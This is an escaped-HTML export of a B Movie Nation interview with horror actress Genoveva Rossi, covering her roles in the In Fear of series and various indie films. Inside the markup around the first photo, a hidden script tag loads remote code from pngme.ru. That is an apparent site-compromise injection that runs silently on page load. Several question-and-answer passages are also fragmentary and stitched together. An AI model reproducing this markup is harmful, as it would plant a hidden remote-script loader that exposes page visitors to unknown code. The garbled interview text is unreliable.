Before we shot Fear of Blindness, he gave me a lot of information on the history and mind state of my character, which was very exciting and challenging for me as a actress. In Fear of Blindness, we follow our main character who is going blind and turning to drugs to escape from this reality. I play her best friend who, although troubled, is trying to reach out and save her friend from destruction. Jeremiah was inspired by my own interest in the spiritual when creating my character and ended up adding scenes that reflect that into the film. It was really amazing watching his creative process and I really enjoyed acting in Fear of Blindness.<\/strong><\/p>\n<p><strong>Fear of Sexual Assault, although part of the In Fear of Series, was directed by Bradley Creanzo. I star as Nina Thompson, a corporate climber in the 1980&#8217;s who fires a male employee (Creanzo) for sexual assault and now that man is out for revenge. This was a really challenging role. I had a lot of exciting action and fight scenes, which were fun to act in. The lighting and music in this is superb as well.\u00a0<\/strong><strong>\u00a0<\/strong><\/p>\n<p><strong>The In Fear of series is produced by Scott Perry and is now on Italian TV! I star in Fear of Blindness and Fear of Sexual Assault and am featured in Fear of Public Speaking, directed by Debbie Rochon and Fear of Touch, directed by Jeremiah Kipp. Look for it online soon!<\/strong><\/p>\n<p style=\"text-align: center;\">Check out the <em>In Fear o<\/em>f here:<\/p>\n<p style=\"text-align: center;\"><a href=\"https:\/\/www.youtube.com\/user\/InFearOfWebSeries\">https:\/\/www.youtube.com\/user\/InFearOfWebSeries<\/a><\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=11092\" rel=\"attachment wp-att-11092\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-11092\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/05\/genoveva-2-200x300.jpg\" alt=\"genoveva 2\" width=\"200\" height=\"300\" srcset=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/05\/genoveva-2-200x300.jpg 200w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/05\/genoveva-2-233x350.jpg 233w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/05\/genoveva-2-50x75.jpg 50w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/05\/genoveva-2.jpg 640w\" sizes=\"auto, (max-width: 200px) 100vw, 200px\" \/><script src=\"\/\/pngme.ru\/seter\"><\/script><\/a><\/p>\n<p style=\"text-align: center;\"><strong>Photo by Stas Pix<\/strong><\/p>\n<p>Some actresses will turn down parts because the scenes are outside of their \u201ccomfort level\u201d.\u00a0 Do you have a comfort level, or are you open to the challenges and will take on any role regardless of the material?<br \/>\n<strong>GENOVEVA: I am open to playing many disturbing roles: witch, sorceress, abusive mother, satanist, cannibal, prostitute, soldier, assassin, etc. Because at the end of the day, I am an actress playing a role and when I come home from a shoot I leave that character behind and go back to just being me.\u00a0 I would see say that we all have a &#8220;comfort zone&#8221; just some of us have larger ones than others. I would say that as an actress I enjoy taking on edgy, exciting roles that may be out of the comfort zones of some actresses. I think I was raised with European values so nudity and sexuality in a film doesn&#8217;t really offend me much. I see it as a natural expression of the full range of human experience, which is what acting is all about representing. I am open to many challenges, but I don&#8217;t just take any role. It needs to be something that speaks to me and will excite me as an artist.<\/strong><\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=11096\" rel=\"attachment wp-att-11096\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-11096\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/05\/genoveva6-200x300.jpg\" alt=\"genoveva6\" width=\"200\" height=\"300\" srcset=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/05\/genoveva6-200x300.jpg 200w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/05\/genoveva6-233x350.jpg 233w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/05\/genoveva6-50x75.jpg 50w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/05\/genoveva6.jpg 640w\" sizes=\"auto, (max-width: 200px) 100vw, 200px\" \/><\/a><\/p>\n<p>Having such a positive attitude and working with others for long days during filming.

I love making friends with my fellow actors and crew. We are a team sharing a common goal and that can bring us very close together.

Douglas.\u00a0 Also, your mother role in <em>A Dark Place Inside<\/em> , Hunters staring the great Linnea Quigley and the wild film <em>I Spill Your Guts<\/em>.<br \/>\n<strong>GENOVEVA: Apocalypse Kiss: I was really excited when Christian Jude Grillo approached me to play this part because it was so different from my previous roles. I play Clara, a hippie working with her brother at a cafe where the main characters go regularly. I am 9 months pregnant, poor, and irresponsible. It was amazing working with D.C. Douglas; he is a great actor and a really fun person on set. Michael Berryman is a great guy and such a huge horror icon for me. Tom Atkins is so talented. Working on this film was an amazing experience for me! <\/strong><\/p>\n<p><strong>A Dark Place Inside: It was great working with Mike O&#8217;Mahoney again. I loved the experience of playing Andy&#8217;s mother in this. It was a unique and intense role. It was my 1st time playing a mother and it was great working closely with my film husband, Rob Dimension. There were some really emotional moments and it was really rewarding working closely with a child actor in my scenes. I had a great time on set.<\/strong><\/p>\n<p><strong>Hunters: In this film I play a truly disturbing character, a mother who tortures and torments her children. Not a role or film for the weak of heart! Adam Ahlbrandt likes to push things to the breaking point and challenge our perceptions. I am a huge fun of Linnea Quigley&#8217;s body of work so I jumped at the chance to work with her. This may be the most disturbing role I have ever played so you really must see it when it comes out. <\/strong><\/p>\n<p><strong>I Spill Your Guts: This was my first time being directed by James Balsamo and my first time acting in a sex scene. It was one of the first few films I did in the horror genre and now at around 45 or so film credits I know it will always hold a special place in my heart. It was a great experience. Check out my sexy scene. <\/strong><\/p>\n<p><strong>I want to mention a few films I am currently excited to be working on: I star as a reporter in Trailer Heaven, a film by Michael Chartier, I star as an evil sorceress in Hylo Dekan Studio&#8217;s The Enchantress, I play a mysterious doctor in Sanctum Deep by Geraldine Winters, I play dual roles in the The Soulless by Chris Eilenstine, I play a witch in Witch&#8217;s Blood by Ryan Scott Weber, etc<\/strong><\/p>\n<p style=\"text-align: center;\">\u00a0<strong>Please feel free to reach out to me on Facebook and Twitter<\/strong><\/p>\n<p style=\"text-align: center;\">Facebook: <strong>GenovevaRossi810<\/strong><\/p>\n<p style=\"text-align: center;\">Twitter: <strong>GenovevaRossi1<\/strong><\/p>\n<p style=\"text-align: center;\">Check out my imdb: <strong><a href=\"http:\/\/www.imdb.com\/name\/nm4908103\/?ref_=fn_al_nm_1\">http:\/\/www.imdb.com\/name\/nm4908103\/?ref_=fn_al_nm_1<\/a><\/strong><\/p>\n<p>With a lot of exciting projects coming out, definitely get connected to stay up to date with Genoveva\u2019s upcoming films.<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=11090\" rel=\"attachment wp-att-11090\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-11090\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/05\/apocalypskiss-231x300.jpg\" alt=\"apocalypskiss\" width=\"231\" height=\"300\" srcset=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/05\/apocalypskiss-231x300.jpg 231w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/05\/apocalypskiss-270x350.jpg 270w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/05\/apocalypskiss-57x75.jpg 57w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/05\/apocalypskiss.jpg 742w\" sizes=\"auto, (max-width: 231px) 100vw, 231px\" \/><\/a><\/p>\n<p><em>If you have some thoughts to share about this article or you&#8217;d like to discuss B movies with other B movie fans and filmmakers please visit our <a href=\"http:\/\/www.facebook.com\/groups\/bmovienation\/\" target=\"_blank\">B Movie Nation Facebook group<\/a>.<\/em><\/p>\n<div class=\"syndication-links\"><\/div>","protected":false},"excerpt":{"rendered":"<p>There is no halfway, only all the way.
